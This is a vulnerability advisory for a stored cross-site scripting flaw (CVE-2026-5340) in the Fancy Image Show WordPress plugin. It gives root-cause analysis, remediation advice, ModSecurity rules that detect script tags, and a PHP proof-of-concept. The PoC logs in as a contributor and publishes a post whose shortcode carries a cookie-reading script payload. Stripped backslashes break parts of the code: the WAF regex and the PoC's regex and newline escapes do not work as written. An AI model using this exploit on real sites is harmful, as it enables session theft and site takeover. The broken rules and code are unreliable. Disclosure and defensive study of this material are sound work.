Atomic Edge analysis of CVE-2026-5340 (metadata-based):
This vulnerability affects the Fancy Image Show plugin for WordPress, specifically the `fancy-img-show` shortcode in all versions up to and including 9.1. It allows authenticated attackers with contributor-level access or higher to inject stored cross-site scripting (XSS) payloads via shortcode attributes. The CVSS score of 6.4 reflects a medium-to-high severity due to the network attack vector, low complexity, and scope change (confidentiality and integrity impact).
Root Cause: The CWE-79 classification and description indicate the plugin fails to properly sanitize user-supplied attributes passed to the `fancy-img-show` shortcode. Shortcode attributes in WordPress are processed during content rendering. When a contributor or higher-privileged user creates or edits a post/page containing this shortcode, the plugin likely outputs the attribute values directly into HTML without escaping HTML entities (e.g., `esc_attr()`, `esc_html()`, or `wp_kses()`). This is inferred from the CWE, as no code diff is available. The insufficient input sanitization means an attacker can inject arbitrary HTML and JavaScript, which gets stored in the WordPress database and executed when any user (including administrators) views the affected page.
Exploitation: An authenticated attacker with at least contributor access navigates to the WordPress post editor. They create a new post or edit an existing one, inserting the `[fancy-img-show]` shortcode. The attacker crafts a malicious value for one or more shortcode attributes (e.g., `attribution`, `class`, `style`, or `caption`) containing a JavaScript payload. For example: `[fancy-img-show attribution=”alert(‘XSS’)”]`. The plugin’s shortcode handler outputs this attribute without escaping, causing the script to execute in the browser of any visitor. The attack vector is the WordPress post/page creation interface; no special AJAX endpoint or REST API is required beyond standard post creation.
Remediation: Based on Atomic Edge analysis, the fix must involve proper output escaping on all shortcode attribute values. The plugin developer should use `esc_attr()` for HTML attribute contexts and `esc_html()` or `wp_kses_post()` for content displayed within HTML tags. Additionally, input sanitization functions such as `sanitize_text_field()` or `wp_kses_allowed_html()` should be applied to attribute values before output. Since no patched version is available, site administrators should either disable the plugin or implement a virtual patch via a Web Application Firewall to block XSS payloads in shortcode content.
Impact: Successful exploitation allows an attacker to inject arbitrary JavaScript that executes in the context of any user viewing the compromised page. This includes administrative users, leading to potential session hijacking, credential theft, forced administrative actions (e.g., creating new admin users), and site defacement. Since contributor-level access is relatively low (compared to admin or editor), the attack surface is broad and can be leveraged for persistent backdoor access or phishing campaigns.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-5340 (metadata-based)
# Blocks Stored XSS injection via fancy-img-show shortcode attributes in post content
# Matches XSS payload in content parameter when post is created/updated via wp-admin
SecRule REQUEST_URI "@streq /wp-admin/post.php"
"id:20265340,phase:2,deny,status:403,chain,msg:'CVE-2026-5340 - Fancy Image Show XSS via shortcode attributes',severity:'CRITICAL',tag:'CVE-2026-5340'"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule ARGS_POST:action "@streq editpost" "chain"
SecRule ARGS_POST:content "@rx <script[^>]*>[sS]*?</script>" "t:none,t:urlDecode,t:htmlEntityDecode"
# Also match on REST API post creation (block new posts with malicious shortcode)
SecRule REQUEST_URI "@beginsWith /wp-json/wp/v2/posts"
"id:20265341,phase:2,deny,status:403,chain,msg:'CVE-2026-5340 - Fancy Image Show XSS via shortcode attributes',severity:'CRITICAL',tag:'CVE-2026-5340'"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule ARGS_POST:content "@rx <script[^>]*>[sS]*?</script>" "t:none,t:urlDecode,t:htmlEntityDecode"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-5340 - Fancy Image Show <= 9.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
// Configuration: Replace these with your target WordPress site credentials
$target_url = 'http://example.com';
$username = 'contributor_user';
$password = 'contributor_password';
// Step 1: Authenticate as a contributor-level user
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookiejar.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
if (strpos($response, 'Dashboard') === false) {
die('Authentication failed. Check credentials.');
}
echo "[+] Authenticated as $usernamen";
// Step 2: Get the nonce and post ID for creating a new post
$admin_url = $target_url . '/wp-admin/post-new.php';
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$admin_page = curl_exec($ch);
// Extract _wpnonce for the post creation action from the edit-post form
preg_match('/<input type="hidden" id="_wpnonce" name="_wpnonce" value="([a-f0-9]+)" />/', $admin_page, $nonce_matches);
preg_match('/<input type="hidden" name="post_ID" value="(d+)" />/', $admin_page, $post_id_matches);
if (empty($nonce_matches[1])) {
die('Could not find nonce. The plugin might require a different workflow.');
}
$nonce = $nonce_matches[1];
$post_id = isset($post_id_matches[1]) ? $post_id_matches[1] : 0;
echo "[+] Got nonce: $noncen";
// Step 3: Craft a malicious shortcode with XSS payload in the 'attribution' attribute
// The payload will be stored and executed when any user views the post
$payload = '<script>alert(document.cookie);</script>';
$post_content = '[fancy-img-show attribution="' . $payload . '" slide="1"]';
$post_data = array(
'_wpnonce' => $nonce,
'post_ID' => $post_id,
'post_title' => 'Test XSS Post - CVE-2026-5340',
'content' => $post_content,
'post_status' => 'publish',
'post_type' => 'post'
);
$post_url = $target_url . '/wp-admin/post.php?action=editpost';
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookiejar.txt');
$response = curl_exec($ch);
if (strpos($response, 'Post published') !== false) {
echo "[+] Post created successfully with XSS payload.n";
echo "[+] Visit the post to trigger JavaScript execution.n";
} else {
echo "[-] Post creation might have failed. Check response for errors.n";
}
curl_close($ch);
?>